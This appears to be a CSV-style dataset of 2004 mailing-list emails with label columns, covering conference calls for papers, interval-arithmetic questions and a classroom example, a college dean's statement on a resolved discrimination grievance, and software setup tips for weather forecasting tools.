FORMAT ================== All submissions must be in Postscript or PDF format. On the cover page, include: (1) contact person's name, phone, fax, email and complete postal mail address, (2 title of paper, (3) names and affiliations of all authors, (4) a brief abstract, (5) keywords, and (6) the number of pages. In addition, please indicate in boldface whether any author is a member of the program committee, and, for a regular presentation, whether it is eligible for the best student paper award (see details below), and whether it should be considered a brief announcement (if not accepted as a regular presentation). All submissions must report on original research. A submission for a regular presentation must be no longer than 10 pages on letter-size paper using at least 11-point font. Additional details may be included in a clearly marked appendix, which will be read at the discretion of the program committee. Papers submitted for regular presentations must not have previously appeared in a journal or conference with published proceedings and must not be concurrently submitted to any other conference. Any partial overlap with any such published or concurrently submitted paper must be clearly indicated. A submission for a brief announcement must be no longer than 3 pages on letter-size paper using at least 11-point font. Such submissions may describe work in progress or work presented elsewhere. If requested by the authors, a submission that is not selected for regular presentation may also be considered for a brief announcement. Such a request will not affect consideration of the paper for regular presentation. Posters and demonstrations are also solicited; details will appear on the conference web page. PODC AND SPAA ============= PODC 2005 is colocated with the 17th ACM Symposium on Parallelism in Algorithms and Architectures. Joint submissions to both conferences are not permitted. BEST STUDENT PAPER AWARD ======================== A prize will be given to the best student paper. A paper is eligible if at least one author is a full-time student at the time of submission, and the contribution of the student is significant. This must be noted on the cover page. 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(Wan Chai, Hong Kong) ¥²±þ§Þ¡B¶¼ºq¡B¤p¬P¬P... ®öº©¹aÁn ±¡¤ß³sô -------------------------------------------------- Nuevo depósito a un mes 6% T.A.E de ING DIRECT http://ingdirect.ozu.es -------------------------------------------------- Correo enviado desde http://www.ozu.es ",1,1 George Corliss ,"Bartlomiej Jacek KUBICA , reliable_computing@interval.louisiana.edu","Mon, 01 Nov 2004 16:09:00 -0600",Re: validated CDF of the Gaussian distribution,"Bartlomiej, You might look at work by Dan Berliant or Scott Ferson. If anyone has done it, they would know. I did some work with validated quadrature 20 years ago. Gaussian quadrature with interval remainder enclosure should work. Taylor models of Martin Berz is another possibility. Why do you need validated values of CDF of the normal distribution? You have an analytic means of computing, and a symbolic package such as Maple or Mathematica can give you values to many places. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 George.Corliss@Marquette.edu > It seems it didn't arrive, so I resend it. > Excucse me if you receive multiply copies. > > > ---------- Forwarded message ---------- > Date: Wed, 27 Oct 2004 16:31:22 +0200 (CEST) > From: Bartlomiej Jacek KUBICA > To: reliable_computing@interval.louisiana.edu > Subject: validated CDF of the Gaussian distribution > > > Dear Interval Researchers, > > I need to have the validated values of CDF of the normal distribution. > Obviously, it can be simply obtained by integrating (in interval > arithmetic) the formula for the PDF (which is well-known). > > Two questions arrise: > > 1) Did anyone do it before ? > 2) Which method of integration can you recommend ? > > Thank you for any advices and best regards > Bartlomiej Kubica >",0,0 William.J.Lenhart@williams.edu,"williams-personnel@williams.edu, williams-students@williams.edu","Mon, 01 Nov 2004 17:32:56 -0500",Please Read: Update from the Dean of the Faculty,"To the Williams Community, I am writing to update you on the matter of the discrimination grievance proceedings that I spoke about at the Faculty Meeting in September. The faculty members involved -- Professor Laylah Ali and Professor Aida Laleian -- have come to an early agreement. The process that led to this agreement was initiated by Professor Ali and accepted by Professor Laleian. I have been asked by both faculty members to make public the apologies of Professor Laleian. Her two letters -- to Professor Ali and to the college community -- are printed here below, in full. -------------------------------------------------- Dear Professor Ali: In the studio honors meeting held on May 17, I conducted myself toward you in a manner which was unconscionable. I used racially charged language that was enormously hurtful. What I did was profoundly wrong and was completely unprovoked. Your statements were reasonable and professional, and I responded in a manner that was unreasonable, angry, emotional, and deeply offensive. There is no excuse for that sort of expression in any discourse, and certainly not in the context of an academic institution. As a result of my behavior, the atmosphere in the room became so offensive that you were essentially forced to leave the room. As a result, you were excluded from participation in an important aspect of your work within the department. In this you were doubly wronged, first by the hurt that I caused, and secondly by your being prevented from taking part in departmental discussion and decisions. I accept responsibility for creating a climate in that room most inhospitable to you as a colleague: a climate that interfered even with your ability to do your job. Both for the pain which I caused and for the manner in which I have compromised your ability to effectively work within the department, I have the deepest regrets. I want to offer to you a sincere apology for this. Sincerely, Aida Laleian -------------------------------------------------- To the College Community, I have not addressed the Williams community before this because I was asked to maintain confidentiality, but also because I remain deeply ashamed of my words and behavior. I am immensely grieved to recognize that the hurt, which I caused, is now felt by the whole of the community. Continuing to this day, I feel terribly saddened and enormously sorry for having caused this harm to Professor Ali, to the other members of my department, and to the college as a whole. I want to make my most sincere, heartfelt apology to all. Sincerely, Aida Laleian -------------------------------------------------- In response to Professor Laleian's apology, Professor Ali has asked that the following statement also be released: My reason for pursuing the discrimination grievance procedure was to see that the gravity of the incident was recognized by the person responsible. I felt that it would only be possible for us to work together in the future if Professor Laleian took responsibility for her actions at our May meeting. She has made a statement of apology that offers a sense of the fundamental breach that occurred at our meeting, and I accept that apology. By her acknowledgement of the seriousness of what happened, we can begin to move on, and I hope that some trust can be rebuilt over time. -------------------------------------------------- At this point, Professors Ali and Laleian have agreed to bring this matter to a close. I am hopeful that this agreement will allow the community to move forward. Sincerely, William J. Lenhart Dean of the Faculty ",0,0 Sarah Wright ,XXX@XXXXXXXX.XXXXXXX.XXX,"Tue, 02 Nov 2004 01:59:00 -0500",real,"I was studying for my ph.d qual and I came across that I couldn't solve. I was wondering if you wouldn't mind looking at it. Let {f_n} be a sequence of measurable functions defined on a measurable set E with finite measure. Suppose that a family {f_n} is pointwise bounded, that is for each x \\in E, there is a constant M_x such that |f_n(x)| <= M_x for all n. Show that for all epsilon >0, there is a closed set F \\subset E with m( E-F) < \\epsilon such that the family is uniformly bounded on F. That is , show that there is a constant M such that |f_n(x)| <= M for all x \\in F and all n. Any help you could give would be greatly appreciated. Thank you for your time Sarh Wright _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today - it's FREE! XXXXXXXmessenger.msn.click-url.com/go/onm00200471ave/direct/01/",0,0 Bartlomiej Jacek KUBICA ,reliable_computing@interval.louisiana.edu,"Tue, 02 Nov 2004 16:17:02 +0100",Re: validated CDF of the Gaussian distribution," On Mon, 1 Nov 2004, George Corliss wrote: > Bartlomiej, > > You might look at work by Dan Berliant or Scott Ferson. If anyone has done > it, they would know. > > I did some work with validated quadrature 20 years ago. Gaussian quadrature > with interval remainder enclosure should work. > > Taylor models of Martin Berz is another possibility. Thank you. > Why do you need validated values of CDF of the normal distribution? You > have an analytic means of computing, and a symbolic package such as Maple or > Mathematica can give you values to many places. I need to do some computations with a random variable that is lognormally distributed. I bound the discretization errors by interval arithmetic. To bound floating-point error too, I need to have rigorous values of the probabilites. Regards Bartlomiej Kubica ",0,0 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Tue, 02 Nov 2004 09:51:17 -0600","A ""classroom"" example","Dear Colleagues, I recently formulated an example in a ""Mathematica"" proficiency exam that, although mathematically very elementary, reveals much about the ""naive"" interval arithmetic approach and, perhaps, about prejudices (and sources thereof) against interval arithmetic. I present my example and correspondence with the student (without names, to protect confidentiality). I have also edited some of the comments. People are welcome to use this example in elementary texts (should they be writing one) or in courses and tutorials. My conclusion is that, although it is possible to ""oversell"" interval arithmetic, we still haven't reached everyone we should, especially at an elementary level. That is, using business language, the market for intervals still isn't ""saturated"". A second conclusion is that one should be careful, even with simple problems :-) Best regards, Baker ============================================================================== The exam question: A. A petroleum storage tank in the shape of a circular cylinder has an inner radius of between 4.95 and 5.05 meters, and a height of between 7.95 meters and 8.05 meters. The thickness of the vertical walls varies between 1.99cm and 2.01cm, and the density of the wall material (steel) is between 7.85 and 7.91 grams per cubic centimeter. Use Mathematica's interval arithmetic capability to compute lower and upper bounds, sharp to within ""roundout"" error, to the following: (1) the total volume of the tank; (2) the weight of the vertical walls in kilograms. Although the actual computations are relatively simple, present the computations in an organized way, and place your explanation and report directly in the Mathematica notebook. Format the notebook, including the comments, in a way that makes it easy and pleasing to read. ============================================================================== The student's initial solution (with some of the explanation omitted): r1 = 100*Interval[{4.95, 5.05}] h = 100*Interval[{7.95, 8.05}] thick = Interval[{1.99, 2.01}] r2 = r1 + thick \\!\\(Volume1\\ = \\ \\[Pi]*\\((r1)\\)\\^2*h\\) \\!\\(Volume2\\ = \\ \\[Pi]*\\((r2)\\)\\^2*h\\) VolumeWall = Volume2 - Volume1 (output) : \\!\\(Interval[{\\(-2.8057162558073882`*^7\\), 3.813181213445664`*^7}]\\) d = 0.001* Interval[{7.85, 7.91}] weight = VolumeWall*d (output): Interval[{-221932., 301623.}] (student's comment): We see that the interval solution is too wide to be meaningful. ============================================================================== My response to the student: Your knowledge of Mathematica seems to be OK, but your use of interval arithmetic is naive, since there is interval dependency; additional thought leads to a better result. In particular, the volume of the wall is \\pi * (r2^2 - r1^2) * h You should get the exact range of volume, within roundout error, if you evaluate the above expression with interval arithmetic. The way you did it was to evaluate \\pi*r2^2 h - \\pi*r1^2 h. There is interval dependency in this second expression, since h occurs twice in it. Please redo this part of the project, using the correct formula for the range of the volume of the vertical walls. ============================================================================== The student's response: I still don't understand the term ""roundout error"". I was serching in mathematica handbook for that but I didn't see anything. I don't know also the meaning of ""exact range"". Do you mean that after we have got the interval of volume of the wall(by using the formula pi*r2^2 h - \\pi*r1^2 h) we have to use the command in mathematica to find the exact range of the volume? I did check the lecture notes about interval arithmetic and I didn't see anything about exact range. I also searched for that term in many books, and I still have no idea about that. After I have used the formula pi*(r2^2-r1^2)* h, I still got an interval with very big width. ============================================================================== My second response: Suppose you have a function f(x_1...,x_n), and evaluate it with interval arithmetic. Then the interval value \\f(\\x_1,...,\\x_n) will always give bounds on the range of the function, and will give the exact range, in general, if and only if each symbol x_i occurs only once in the expression. If such a ""single use expression"" is evaluated with floating point arithmetic, the result is not exactly the range, since the lower end points are ""rounded down"" and the upper end points are ""rounded up"". That is ""roundout error."" Some of this is explained in the introductory sections of my book ""Rigorous Global Search: Continuous Problems"" (QA402.5 .K388 1996). The problem is that there is still interval dependency, since you defined r2 = r1+thick, so \\pi *( r2^2 - r1^2) h = \\pi ( (r1 + thick)^2 - r1^2) h and r1 occurs more than once in the expression. Rewrite the parenthesized expression as (r1 + thick)^2 - r1^2) = 2*r1*thick + thick^2 = thick*(2*r1+thick) (Please try that.) You will get a better result, but it still won't give the exact range to within roundout error. To get the exact range, note that the minimum possible volume corresponds to using \\tilde r1 = sup(r1) and \\tilde r2 = min(r2) and that the maximum possible volume corresponds to using \\hat r1 = inf(r1) and \\hat r2 = sup(r2) Storing \\tilde r1 and \\tilde r2 in intervals (whose endpoints are the same), you will then use interval arithmetic to compute inf(\\pi (\\tilde r2^2 - \\tilde r1^2) h) and sup(\\pi *\\hat r2^2 - \\hat r1^2) h). These values will give lower and upper bounds on the range of volume that are exact to within roundout error. (Please also try this second scheme and submit to me.) ============================================================================== --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. 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It provides an opportunity to learn of new developments and to present original research results in all areas of symbolic mathematical computation. Planned activities include invited presentations, research papers, poster sessions, tutorial courses, vendor exhibits and software demonstrations. ISSAC'2005 will be organized by the Key Laboratory of Mathematics Mechanization, Chinese Academy of Sciences, from July 24-27, 2005 in Beijing, China. ISSAC'2005 web page: http://www.mmrc.iss.ac.cn/~issac2005/ ISSAC'2005 e-mail: issac2005@mmrc.iss.ac.cn Important Dates Deadline for Submissions: January 14, 2005 (Midnight [24:00 EST]) Notification of Acceptance: March 15, 2005 Camera-ready copy received: April 15, 2005 Conference Topics Topics of the meeting include, but are not limited to: Algorithmic Mathematics Algebraic, symbolic and symbolic-numeric algorithms. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 03 Nov 2004 14:24:29 -0700",[DMDX] Re: timing problem,"Timeouts are specified in milliseconds, not ticks. At 02:19 PM 11/3/2004 -0500, you wrote: >Hello! > >My time-out on the third line of item line +001 is not working for me. >Rather than waiting 150 ticks, it is quickly goes to the next line. > >+001 c*""Victor le mange pendant la >soirée "", c*"" Victor le mange pendant la soirée""; > >I've posted the entire file below, in case the problem is somewhere other >than in the item line. Also, my counts work fine, so it is only when >I switch to a time-out that I have a problem. I also know that the >problem isn't that the number of ticks isn't enough because my >holds the item longer than the . > >Any help would be greatly appreciated! > >Tyler > > , > > >0 ""You will be presented with a series of items"", ""made up >of 2 sentences on two lines."", ""Read at a normal pace as the first >sentence appears"", ""and soon a second one will appear"", >""Look quickly at both sentences"", ""then use the SAME or DIFFERENT >key to indicate whether"", ""the two sentences are the same or >different."", ""PRESS THE SPACE BAR TO CONTINUE.""; > >$ > >+001 *""X""; > >+001 c* ""Victor le mange pendant la soirée""; > >+001 c*""Victor le mange pendant la >soirée "", c*"" Victor le mange pendant la soirée""; > >+001 c* ""Please wait for next sentence""; > >$ /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Time flies like arrow; fruit flies like banana.",0,0 Martin Berz ,"Aditya Agarwal , reliable_computing@interval.louisiana.edu","Wed, 03 Nov 2004 18:13:33 -0500",RE: Solving ODEs using Interval analysis,"It may perhaps be of interest for you to take a look at the following rather extensive paper, which studies the various approaches in Taylor Model-based validated integrators. It also contains various comparisons of different methods, and includes many links to the rest of the literature. http://bt.pa.msu.edu/cgi-bin/display.pl?name=VIRC03 Best wishes, Martin Berz P.S.: Sorry about the lag in response, due to travel I am much behind in email. -----Original Message----- From: owner-reliable_computing@interval.louisiana.edu [mailto:owner-reliable_computing@interval.louisiana.edu]On Behalf Of Aditya Agarwal Sent: Friday, October 29, 2004 4:05 PM To: reliable_computing@interval.louisiana.edu Subject: Solving ODEs using Interval analysis Dear all, I am a senior undergraduate at Faculty of Chemical Engineering, Indian Institute of Technology, Bombay. I am currently working on a constrained optimization problem and trying to solve it with the help of interval analysis. I was looking forward to some guidance in direction of algorithms and techniques available to solve ODEs using interval analysis. I would be very grateful if someone could cite me suitable references to help me solve ODEs using interval analysis. Awaiting for a reply in anticipation. Regards, Aditya Agarwal ",0,1 Lisa Simeone ,"""'DBFlik@aol.com'"" ","Thu, 04 Nov 2004 11:58:07 -0500",FW: NEWS from the Ministry of Arts Information,"HOLY SHIT!!!! CONGRATS!! -----Original Message----- From: Bill Wyman Sent: Thursday, November 04, 2004 11:57 AM To: News-All Staff Subject: NEWS from the Ministry of Arts Information I'm happy to announce that David Folkenflik is joining us as our new media reporter. When the Washington Post's Howard Kurtz weighed in last month on the dispute between the Sinclair Broadcast Group and its Washington bureau chief, he was forced to cite the work of another media writer - David Folkenflik, who had broken the story. As the Jack Kelley fabrication scandal unfolded at USA Today, reporting by David in the Sun revealed that the paper had already known of discrepancies in Kelley's work, but had taken no action. And a few years ago, when Fox News' Geraldo Rivera, in Afghanistan, intoned that he was walking over ""hallowed ground"" bloodied by the deaths of American troups, David wrote the piece that discredited the report. That's the kind of reporting we want to do at NPR, and I'm happy that David will be on board to help us do more of it. David started writing on TV and the media in 2000; he's taken hard looks at Kitty Kelley's suspicious sourcing -- and Bob Woodward's; the college years of Jayson Blair; and the efforts of government officials to control coverage. When news on his beat breaks he worries it like a bone -- as when he's hot on the trail of the Jack Kelley or Sinclair stories -- and he also knows how to make an impact. His devastating 1500-word account of Geraldo Rivera's adventures in Afghanistan is a hoot to read, but it's also fairly presented and implacably reported. The story won the Center for Media and Public Affairs' Paul Mongerson Prize for Investigative Reporting on the Media. David comes with diverse experience -- including a three-year posting as a Washington correspondent for the Sun. We think he'll demonstrate the depth and authority an NPR reporter on this difficult beat must demonstrate. David is selling his Baltimore house and is looking around for D.C. digs. You will start seeing him in the office the week before Thanksgiving. Please join the arts desk in welcoming him to NPR. (Greetings can be sent to DBFlik@aol.com.) Bill Wyman Assistant Managing Editor National Public Radio 635 Massachusetts Ave. N.W. Washington, D.C. 20001 wyman@well.com bwyman@npr.org",0,0 Mail_List Adm ,isorc@dream2.ece.uci.edu,"Thu, 04 Nov 2004 13:55:17 -0800",ISORC 2005 - CFP," We apologize to those who receive multiple copies of this email. ============================================ CALL FOR PAPERS ISORC 2005 The 8th IEEE International Symposium on Object-oriented Real-time distributed Computing May 18-20, Sponsored by: In cooperation with: 2005 IEEE Computer Society OMG Seattle, WA TC on Distributed IFIP WG 10.4 USA Processing The details on how to submit papers are available from http://shay.ecn.purdue.edu/~isorc05 . Associated Event: 2005 Workshop on Software Technologies for Future Embedded & Ubiquitous Systems (SEUS2005), May 16 - 17, 2005 For some information on previous successful ISORC's, see the following: ISORC 2004: http://www.vmars.tuwien.ac.at/isorc2004/ ISORC 2003: http://www.vmars.tuwien.ac.at/isorc2003/ or http://www.takilab.k.dendai.ac.jp/conf/isorc2003/ ISORC 2002: http://dream.eng.uci.edu/isorc2002/ ISORC 2001: http://isorc2001.cs.uni-magdeburg.de/ ============================================= ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 04 Nov 2004 21:59:59 -0700",What Monte Carlo Cannot Do: Introduction to Imprecise Probabilities,"FYI. Vladik ******************************************** From: Scott Ferson A day-long tutorial workshop entitled ""*What Monte Carlo Cannot Do: Introduction to Imprecise Probabilities*"" will be held at the Wyndham Hotel & Resort in Palm Springs, California, on Sunday, 5 December 2004. The workshop review the limitations of Monte Carlo methods and describe strategies to escape these limitations. It will introduce the notions of interval- valued probability and imprecisely specified probability distributions and review their uses in risk analysis. It will introduce the approaches of interval probabilities, probability bounds analysis, Dempster-Shafer theory, robust Bayes methods, info-gap theory, and the theory of imprecise probabilities. It will also illustrate how sparse, incomplete or imprecise data can be used to fashion inputs without making strong or untenable assumptions. The workshop will be held in conjunction with the Society for Risk Analysis Annual Meeting, but you don't have to register for the annual meeting to participate in the workshop. The registration fee for the workshop is $175 before 10 November, or $205 after this date, or on site. Consult the website http://www.ramas.com/ippalmsprings.htm for further information.",0,1 Hans Schneider ,"NETS -- at-net , E-LETTER , Pradeep Misra , Shaun Fallat , ""na.digest"" , ipnet-digest@math.msu.edu, Michael.Unser@epfl.ch, SIAGLA-DIGEST , hjt@eos.ncsu.edu, SMBnet@smb.org, vkm@eedsp.gatech.edu, reliable_computing@interval.louisiana.edu","Fri, 05 Nov 2004 10:20:45 +0000",Re: revised announcement (fwd),"> > > > Special issue in honour of Pauline van den Driessche > SECOND ANNOUNCEMENT > > Linear Algebra and Its Applications is pleased to announce > a special issue in honour of Professor Pauline van den Driessche > in recognition of her many important contributions to linear algebra > and mathematical biology, and on the occasion of her 65th birthday. > > > The deadline for submission of papers has ben extended to 15 February > 2005. Papers are solicited for the special issue within the scope of LAA, > especially those that overlap with the research interests of Pauline van > den Driessche. Papers for submission should be sent to any of the four > special editors, and will be subject to normal refereeing procedures > according to LAA standards: > > Professor Steve Kirkland > Department of Mathematics > University of Regina > Regina, SK, Canada > S4S 0A2 > e-mail: kirkland@math.uregina.ca > > Professor Judith McDonald > Mathematics Department > Box 643113 > Washington State University > Pullman, WA, USA > 99164-3113 > e-mail: jmcdonald@math.wsu.edu > > Professor Dale Olesky > Department of Computer Science > University of Victoria > Victoria, BC, Canada > V8W 3P6 > e-mail: dolesky@cs.uvic.ca > > Professor Michael Tsatsomeros > Mathematics Department > Box 643113 > Washington State University > Pullman, WA, USA > 99164-3113 > e-mail: tsat@math.wsu.edu > ",0,0 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Sat, 06 Nov 2004 11:33:28 -0600","A ""classroom"" problem -- second installment","Dear Colleagues, My recommendations to the student in the ""classroom example"" were not exactly correct. Despite the problem being ""simple,"" it took some additional discussion between me and the student to correctly get exact bounds on the range, to within ""roundout error."" I append again the problem, followed by a correct solution. Are we right? (I have edited the Mathematica notebook and have supplied more nearly universal ""TeX-like"" notation). Best regards, Baker ========================================================================== ============================================================================== The exam question: A. A petroleum storage tank in the shape of a circular cylinder has an inner radius of between 4.95 and 5.05 meters, and a height of between 7.95 meters and 8.05 meters. The thickness of the vertical walls varies between 1.99cm and 2.01cm, and the density of the wall material (steel) is between 7.85 and 7.91 grams per cubic centimeter. Use Mathematica's interval arithmetic capability to compute lower and upper bounds, sharp to within ""roundout"" error, to the following: (1) the total volume of the tank; (2) the weight of the vertical walls in kilograms. Although the actual computations are relatively simple, present the computations in an organized way, and place your explanation and report directly in the Mathematica notebook. Format the notebook, including the comments, in a way that makes it easy and pleasing to read. ============================================================================== A correct solution: (1) To find the volume of the tank, we use the inner radius of the tank and the height of the tank. Use the volume formula for the cylinder. We convert the unit of the radius and height of the tank to be in centimeters instead of meters: (Input): r1 = 100*Interval[{4.95, 5.05}] (Input): h = 100*Interval[{7.95, 8.05}] (Input): VolTank =\\pi*r1^2*h (Output):Interval[{6.119661482569413*10^8, 6.449536565177991*10^8}] The thickness of the vertical walls varies between 1.99 cm and 2.01 cm: (Input): thick = Interval[{1.99, 2.01}] We give the density of the vertical wall in kilograms per cubic centimeter: (Input): d = 0.001* Interval[{7.85, 7.91}] Let us find the exact range of the weight of the wall. To find the exact range of weight of the wall. We have to find the minimum and maximum possible volume of the wall first. To this end, we note that, for a given thickness, the volume of the wall is an increasing function of the inner radius: (Input): tilr1 = Min[r1] (Input): tilr2 = tilr1 + Min[thick] (Input): hatr1 = Max[r1] (Input): hatr2 = hatr1 + Max[thick] Now we use the interval arithmetic for these radius to find the maximum and minimum possible for the volume of the wall: (Input): LoBoundVol = Min[ \\pi*(R2^2 - R1^2))*h] (Input): RR1 = Interval[hatr1] (Input): RR2 = Interval[hatr2] (Input): UpBoundVol = Max[\\pi*(RR2^2 - RR1^2)*h] (Input): IntervalVolume = Interval[{LoBoundVol, UpBoundVol}] (Output): Interval[{4.930345702783755*10^6, 5.144303873599082*10^6}] (Input): BWeight = IntervalVolume*d (Output): Interval[{38703.2, 40691.4}] ========================================================================== --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Slava Nesterov ,RC mailing list ,"Sun, 07 Nov 2004 17:51:35 +0300","Reliable Computing, Vol.11, issue 2, 2005"," Reliable Computing Volume 11, issue 2, 2005 Mathematical Research On the Solutions of the Interval System [x]=[A][x]+[b] Hans-Robert Arndt, Guenter Mayer 87-103 The Optimal Solution of an Interval System of Linear Algebraic Equations Marina Lyashko 105-127 Linear Interval Equations: Midpoint Preconditioning May Produce a 100% Overestimation for Arbitrarily Narrow Data Even in Case n=4 Jiri Rohn 129-135 Application Using Zonotopes for Overestimation-Free Interval Least-Squares--Some Geodetic Applications Steffen Schoen, Hansjoerg Kutterer 137-155 Information SCAN'2004 11th GAMM-IMACS International Symposium on Scientific Computing, Computer Arithmetic, and Validated Numerics 157-159 Second R. E. Moore Prize Awarded at SCAN'2004 161-162 Errata and Opinion to: ``An Interval Entropy Penalty Method for Nonlinear Global Optimization,'' by Zhenyu Huang, Reliable Computing 4 (1) (1998) R. Baker Kearfott 163-164 ",0,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Mon, 08 Nov 2004 21:20:54 -0700",interval session at IFSA'05,"Dear Friends, Our interval colleague Chenyi Hu is planning to organize an interval session at the 11th International Fuzzy Systems Association will have its 2005 World Congress in Beijing, China. http://ifsa2005.em.tsinghua.edu.cn/ The proposal for an interval sesion is due on December 20, 2004. If you are interested, please send him an email (copy to me). His email is chu@uca.edu. Vladik *************************************************************************** Date: Mon, 08 Nov 2004 12:47:05 -0600 From: ""Chenyi Hu"" To: Subject: organizing a special session Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Dear Vladik, The International Fuzzy Systems Association will have its 2005 World Congress in Beijing, China. http://ifsa2005.em.tsinghua.edu.cn/ ... Let us propose an interval special session. The deadline will be Dec. 20. Regards, Chenyi Chenyi Hu; Ph.D. Professor and Chairman Computer Science Department University of Central Arkansas http://www.cs.uca.edu ************************************************************************** CALL FOR PAPERS IFSA2005 World Congress July 28-31, 2005, Beijing China http://ifsa2005.em.tsinghua.edu.cn The 11th World Congress of International Fuzzy Systems Association (IFSA 2005) will be held in Beijing China, July 28-31, 2005. As a major bi-annual event of IFSA, the Congress aims at bringing together scholars and practitioners from academia and industries to present the latest development in theories and applications of fuzzy logic and soft computing. The scientific program will include keynote/plenary talks and technical parallel sessions that address important issues of interest in the fields. The Congress will serve as a platform not only for knowledge sharing, but also for stimulating new ideas in broadening and deepening theoretical and applied explorations of fuzzy logic and soft computing. Notably, IFSA2005 will take place in the year of IFSA¡¯s 20th anniversary, which may well be an event of memory and celebration in the course of its evolution. This IFSA World Congress is to be the first-time-ever in Mainland China. China is a dynamic nation with a rapid economic growth and huge market. The conference site is Beijing, which has been the capital of China for about five hundred years, and is now one of the largest international cities in the world. Nowadays, as the cultural, educational and Hi-tech center of the nation, Beijing possesses a large number of world-class conference facilities, communication infrastructures and hotels, and has successfully hosted many important international conferences. In addition, Beijing is an ideal place for sightseeing. Its rich cultures and historical attractions such as the Great Wall, Forbidden City, Summer Palace, and Temple of Heaven will provide participants with unique experiences for social activities. Topics We solicit papers on theoretical issues and their applications related to fuzzy logic and soft computing. Suggested topics include but are not limited to: * Mathematical Foundations of Fuzzy Set Theory * Fuzzy Logic and Approximate Reasoning * Neural Networks, Genetic Algorithms and Soft Computing * Fuzzy Control, Robots and Intelligent Techniques * Expert Systems and Computational Intelligence * Knowledge Discovery and Data Mining * Rough Sets and Evidence Theory * Uncertainty in Decision Sciences and Optimization * Signal/Image Processing and Pattern Recognition * Fuzzy Databases and Information Retrieval * Hybrid Systems Honorary Chair: Lotfi A. Zadeh, USA General Chair: Yingming Liu, China Organizing Chair: Guoqing Chen, China Program Chair: Mingsheng Ying, China Advisory Committee Zeungnam Bien, Korea Witold Pedrycz, Canada George J. Klir, USA Philippe Smets, Belgium Laszlo T. Koczy, Hungary Michio Sugeno, Japan Yingming Liu, China Lotfi A. Zadeh, USA Ebrahim Mamdani, UK Chunjun Zhao, China Zdzislaw Pawlak, Poland Hans-Jurgen Zimmermann, Germany Local Organization Committee Yixiang Chen, China Dexue Zhang, China Wenxiu Zhang, China Chongyou Zheng, China Program Committee (Not Completed) M. Berthold (Germany) Maokang Luo (China) James C. Bezdek (USA) Luis Magdalena (Spain) Taner Bilgic (Turkey) Trevor Martin (UK) Piero Bonissone (USA) Kyung Chan Min (Korea) Bernadette Bouchon-Meunier (France) Masao Mukaidono (Japan) Kai-Yuan Cai (China) Vesa Niskanen (Finland) Christer Carlsson (Finland) Vilem Novak (Czech Republic) Oscar Castillo (Mexico) Fred Petry (USA) Guoqing Chen (China) Nguyen Hoang Phuong (Vietnam) Didier Dubois (France) Henri Prade (France) Takeshi Furuhashi (Japan) Arthur Ramer (Australia) Giangiacomo Gerla (Italy) Frank Chung-Hoon Rhee (Korea) Lluis Godo (Spain) Da Ruan (Belgium) Fernando Gomide (Brazil) Elie Sanchez (France) Kaoru Hirota (Japan) Sandra Sandri(Brazil) Janusz Kacprzyk (Poland) Thomas Sudkamp (USA) Okiay Kaynak (Turkey) I. Burhan Turksen (Canada) Jim Keller (USA) M. Amparo Vila Miranda (Spain) Etienne E. Kerre (Belgium) Guojun Wang (China) Erich P. Klement (Austria) Li-Xin Wang (Hong Kong China) Donald Kraft (USA) Paul P. Wang (USA) Rudolf Kruse (Germany) Congxin Wu (China) Jonathan Lee (Taiwan China) Ronald R. Yager (USA) Hongxing Li (China) John Yen (USA) C.T.Lin (Taiwan China) Mingsheng Ying (China) Zhiqiang Liu (Hong Kong China) Important Dates Deadline for Submission: December 31, 2004 Notification of Acceptance: February 28, 2005 Final Version due: April 20, 2005 Conference: July 28-31, 2005 Organized by Fuzzy Mathematics and Fuzzy Systems Association of China (The IFSA China Chapter) Tsinghua University Sichuan University Supported by National Natural Science Foundation of China The Systems Engineering Society of China China Automation Association China Computer Federation Chinese Mathematical Society Detailed information about the paper submission, proceedings, registration, accommodation, journal special issues, student paper award, conference program, etc., will be available at the conference web site (http://ifsa2005.em.tsinghua.edu.cn) and in forthcoming CFPs. You may also contact us at: Professor Guoqing Chen IFSA2005 Organizing Committee and Secretariat School of Economics and Management Tsinghua University, Beijing 100084, China Tel./Fax: 86-10-62789925 Email: ifsa2005@em.tsinghua.edu.cn ------------- End Forwarded Message -------------",0,1 Joshua Watson ,soowes@comet.ucar.edu,"Tue, 09 Nov 2004 11:31:12 -0500",Re: IFPS on WES?,"Hi all, I've had extensive experience running IFPS on WES. One ""gotcha"" on WES, right before you run 'installGFE', is to 'unsetenv PYTHONHOME'. If you don't do this, you'll get an 'undefined symbol' error and a reference to cPickle.so Its not too hard to get GFE to work in DRT mode along with D2D. East and Gulf Coast WFOs have used the DRT capability on WES to practice ingesting and editing TPC wind guidance into GFE. DRT mode is not necessary to convert from 15 to 16, but it may help to determine of all your changes are OK. If you try to run GFE using old data without using DRT, GFE will purge your grids rather quickly :) I've put together some instructions, for those who might like to get IFPS onto WES: ftp://ftp.werh.noaa.gov/share/awips/ifps/16/gfe16_on_wes.pdf You can install multiple IFPS versions on WES, just be sure to have only one server running at a time :) All you need to do is create a new directory to install the other IFPS version into, like /data/GFESuite15 and specify that on the installGFE line. Just be sure not to install GFE on the /awips directory tree. This directory tree can get wiped out in an upgrade. Josh Matthew Bunkers wrote: > Hello, > > I would like to load IFPS15 and IFPS16 on our WES so configuration can > be done before the new IFPS16 upgrade occurs later this year. But > before I do this, I was wondering if anyone else has successfully loaded > IFPS on the WES? > 